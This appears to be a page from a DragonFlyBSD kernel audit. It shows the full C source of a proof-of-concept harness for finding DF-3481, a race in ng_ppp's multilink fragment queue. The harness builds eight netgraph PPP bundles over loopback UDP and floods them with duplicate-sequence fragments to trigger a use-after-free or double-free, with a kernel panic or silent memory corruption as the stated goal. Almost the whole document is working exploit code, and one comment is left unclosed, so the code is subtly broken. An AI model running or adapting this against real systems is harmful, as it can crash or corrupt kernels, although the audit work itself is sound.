⬢ DragonFlyBSD Kernel Audit
DF-3481 / pppfragrace.c
← back to finding ↓ download raw
/*
 * DF-3481 -- v1 ng_ppp frag-queue cross-context race (final harness)
 *
 * Per bundle (8 bundles, staggered):
 *   ppp(multilink) --link1-- ksocket/udp  (pump + hammer)
 *                  --link2-- ksocket/udp  (mseq sticker: junk middle frag)
 *                  --bypass-- ksocket/udp (observer, optional telemetry)
 *
 * Cycle:
 *   1. link2 junk middle-frag seq J pins mseq=J and parks the queue head
 *      (check_packet: head not first; frag_trim: DIFF(J, mseq)>=0 breaks).
 *   2. link2... no -- link1 sends 59 CONTIGUOUS complete packets J+1..J+118.
 *      They park (head is the junk middle frag).
 *   3. sleep 2.06s -- batch crosses ng_ppp_max_staleness (2s).
 *   4. DUP-SEQ HAMMER: fragments whose seq equals an existing batch seq.
 *      ng_ppp_mp_input kmallocs a frag, does the FULL TAILQ reverse walk
 *      (dereferencing every queued entry), then drops it as a duplicate
 *      WITHOUT inserting and WITHOUT running ng_ppp_frag_process -- so
 *      the sender context never delivers the stale batch.  Only the 0.5s
 *      fragTimer (softclock thread, BGL) does -- and while it walks and
 *      TAILQ_REMOVEs/kfree()s/m_freem()s the batch, the hammer keeps
 *      walking the same entries and its kmalloc/kfree churn recycles
 *      the freed chunks => UAF/double-free.
 *
 * Expected: INVARIANTS panic (get_packet/frag_trim KASSERT, slab
 * double-free) or silent corruption.  Control: multilink=0.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netgraph/ng_message.h>
#include <netgraph/socket/ng_socket.h>
#include <netgraph/ppp/ng_ppp.h>
#include <netgraph/ksocket/ng_ksocket.h>

#define NBUNDLE 8
#define NPACKET 59

static int ctrl;
static u_int32_t token = 1;
static pthread_mutex_t toklock = PTHREAD_MUTEX_INITIALIZER;

static void die(const char *m)
{
	fprintf(stderr, "%s: %s\n", m, strerror(errno));
	exit(1);
}

static int
ctl(const char *path, u_int32_t cookie, int cmd, const void *arg,
    size_t alen)
{
	struct sockaddr_ng sg;
	struct ng_mesg *m;
	size_t len = sizeof(*m) + (alen ? alen - 1 : 0) + 1;
	ssize_t n;
	int rc;

	pthread_mutex_lock(&toklock);
	m = calloc(1, len);
	m->header.version = NG_VERSION;
	m->header.typecookie = cookie;
	m->header.cmd = cmd;
	m->header.arglen = alen;
	m->header.token = token++;
	pthread_mutex_unlock(&toklock);
	if (alen)
		memcpy(m->data, arg, alen);
	memset(&sg, 0, sizeof(sg));
	sg.sg_len = 2 + strlen(path);
	sg.sg_family = AF_NETGRAPH;
	strlcpy(sg.sg_data, path, sizeof(sg.sg_data));
	n = sendto(ctrl, m, len, 0, (struct sockaddr *)&sg, sg.sg_len);
	free(m);
	rc = (n < 0) ? -errno : 0;
	return (rc);
}

struct bundle {
	int idx;
	char ppppath[16];	/* e.g. "f1:l3" */
	int udpA;		/* pump+hammer socket */
	int udpB;		/* sticker socket */
	long cycles, observed;
};

static int bindport(const char *path, int base)
{
	struct sockaddr_in sin;
	int rc, p;

	memset(&sin, 0, sizeof(sin));
	sin.sin_len = sizeof(sin);
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	for (p = base; p < base + 60; p++) {
		sin.sin_port = htons(p);
		rc = ctl(path, NGM_KSOCKET_COOKIE, NGM_KSOCKET_BIND,
		    &sin, sizeof(sin));
		if (rc == 0)
			return (p);
		if (rc != -EADDRINUSE)
			die("ksocket bind");
	}
	die("no free port");
	return (-1);
}

static void
udpsock(int *fdp, int port)
{
	struct sockaddr_in d;

	*fdp = socket(AF_INET, SOCK_DGRAM, 0);
	memset(&d, 0, sizeof(d));
	d.sin_len = sizeof(d);
	d.sin_family = AF_INET;
	d.sin_port = htons(port);
	d.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	if (connect(*fdp, (struct sockaddr *)&d, sizeof(d)) < 0)
		die("udp connect");
}

static void
sendfrag(int fd, u_int32_t seq, int first, int last)
{
	u_char pkt[1 + 4 + 8];
	u_int32_t hdr;

	pkt[0] = 0x3d;
	hdr = htonl((seq & 0x00ffffff) |
	    (first ? 0x80000000U : 0) | (last ? 0x40000000U : 0));
	memcpy(pkt + 1, &hdr, 4);
	memset(pkt + 5, 0xab, sizeof(pkt) - 5);
	if (send(fd, pkt, sizeof(pkt), 0) < 0 && errno != ENOBUFS)
		die("send frag");
}

static void *
bundle_thread(void *arg)
{
	struct bundle *b = arg;
	long c, k, i;

	/* stagger phases so a batch goes stale every ~2.1/8 s */
	usleep(b->idx * 260000);

	for (c = 0; c < b->cycles; c++) {
		u_int32_t J = 0x1000 + (u_int32_t)c * 0x8000;

		/* 1. sticker: junk middle frag pins mseq */
		sendfrag(b->udpB, J, 0, 0);
		/* 2. contiguous parked packets J+1 .. J+2*NPACKET */
		for (k = 0; k < NPACKET; k++) {
			sendfrag(b->udpA, J + 2 * k + 1, 1, 0);
			sendfrag(b->udpA, J + 2 * k + 2, 0, 1);
		}
		/* 3. age past 2s staleness */
		usleep(2060000);
		/* 4. dup-seq hammer: full reverse walks, no insertion */
		for (i = 0; i < 40000; i++) {
			u_int32_t s = J + 2 * (i % NPACKET) + 1;
			sendfrag(b->udpA, s, 0, 0);
		}
		b->observed++;
		if ((c % 25) == 24) {
			printf("bundle %d: %ld cycles done\n", b->idx, c + 1);
			fflush(stdout);
		}
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	struct ngm_name nm;
	struct ngm_mkpeer mk;
	struct ng_ppp_node_conf conf;
	struct bundle bun[NBUNDLE];
	pthread_t th[NBUNDLE];
	char path[32];
	int rc, i, j, port;

	ctrl = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
	if (ctrl < 0) die("ctrl");

	memset(&nm, 0, sizeof(nm));
	strlcpy(nm.name, "f1", sizeof(nm.name));
	rc = ctl(".", NGM_GENERIC_COOKIE, NGM_NAME, &nm, sizeof(nm));
	if (rc && rc != -EISCONN) die("name");

	memset(bun, 0, sizeof(bun));
	for (i = 0; i < NBUNDLE; i++) {
		char hook[8];

		snprintf(hook, sizeof(hook), "l%d", i);
		/* ppp node off our hook l<i> (MKPEER goes to OUR node) */
		memset(&mk, 0, sizeof(mk));
		strlcpy(mk.type, "ppp", sizeof(mk.type));
		strlcpy(mk.ourhook, hook, sizeof(mk.ourhook));
		strlcpy(mk.peerhook, "link0", sizeof(mk.peerhook));
		rc = ctl("f1:", NGM_GENERIC_COOKIE, NGM_MKPEER, &mk,
		    sizeof(mk));
		if (rc && rc != -EEXIST) die("mkpeer ppp");
		snprintf(bun[i].ppppath, sizeof(bun[i].ppppath), "f1:%s",
		    hook);
		bun[i].idx = i;
		bun[i].cycles = (argc > 1) ? atol(argv[1]) : 1000;

	}

	/* per-bundle ksockets + config */
	for (i = 0; i < NBUNDLE; i++) {

		/* link1 = pump */
		memset(&mk, 0, sizeof(mk));
		strlcpy(mk.type, "ksocket", sizeof(mk.type));
		strlcpy(mk.ourhook, "link1", sizeof(mk.ourhook));
		strlcpy(mk.peerhook, "inet/dgram/udp", sizeof(mk.peerhook));
		rc = ctl(bun[i].ppppath, NGM_GENERIC_COOKIE, NGM_MKPEER,
		    &mk, sizeof(mk));
		if (rc) die("mkpeer ks1");
		snprintf(path, sizeof(path), "%s.link1", bun[i].ppppath);
		port = bindport(path, 18100 + i * 20);
		udpsock(&bun[i].udpA, port);

		/* link2 = sticker */
		memset(&mk, 0, sizeof(mk));
		strlcpy(mk.type, "ksocket", sizeof(mk.type));
		strlcpy(mk.ourhook, "link2", sizeof(mk.ourhook));
		strlcpy(mk.peerhook, "inet/dgram/udp", sizeof(mk.peerhook));
		rc = ctl(bun[i].ppppath, NGM_GENERIC_COOKIE, NGM_MKPEER,
		    &mk, sizeof(mk));
		if (rc) die("mkpeer ks2");
		snprintf(path, sizeof(path), "%s.link2", bun[i].ppppath);
		port = bindport(path, 18110 + i * 20);
		udpsock(&bun[i].udpB, port);

		/* (keep link0 <-> our hook as the addressing path;
		 * links[0].enableLink stays 0 so it is not active)

		/* config: multilink, links 1+2 enabled */
		memset(&conf, 0, sizeof(conf));
		conf.bund.mrru = 1500;
		conf.bund.enableMultilink = 1;
		conf.bund.enableIP = 1;
		for (j = 0; j < NG_PPP_MAX_LINKS; j++) {
			conf.links[j].mru = 1600;
			conf.links[j].latency = 10;
			conf.links[j].bandwidth = 125000;
		}
		conf.links[1].enableLink = 1;
		conf.links[2].enableLink = 1;
		rc = ctl(bun[i].ppppath, NGM_PPP_COOKIE, NGM_PPP_SET_CONFIG,
		    &conf, sizeof(conf));
		if (rc) die("setconfig");
	}

	printf("%d bundles up; racing...\n", NBUNDLE);
	fflush(stdout);

	for (i = 0; i < NBUNDLE; i++)
		pthread_create(&th[i], NULL, bundle_thread, &bun[i]);
	for (i = 0; i < NBUNDLE; i++)
		pthread_join(th[i], NULL);

	printf("all bundles finished with no panic\n");
	for (i = 0; i < NBUNDLE; i++)
		ctl(bun[i].ppppath, NGM_GENERIC_COOKIE, NGM_SHUTDOWN,
		    NULL, 0);
	return (0);
}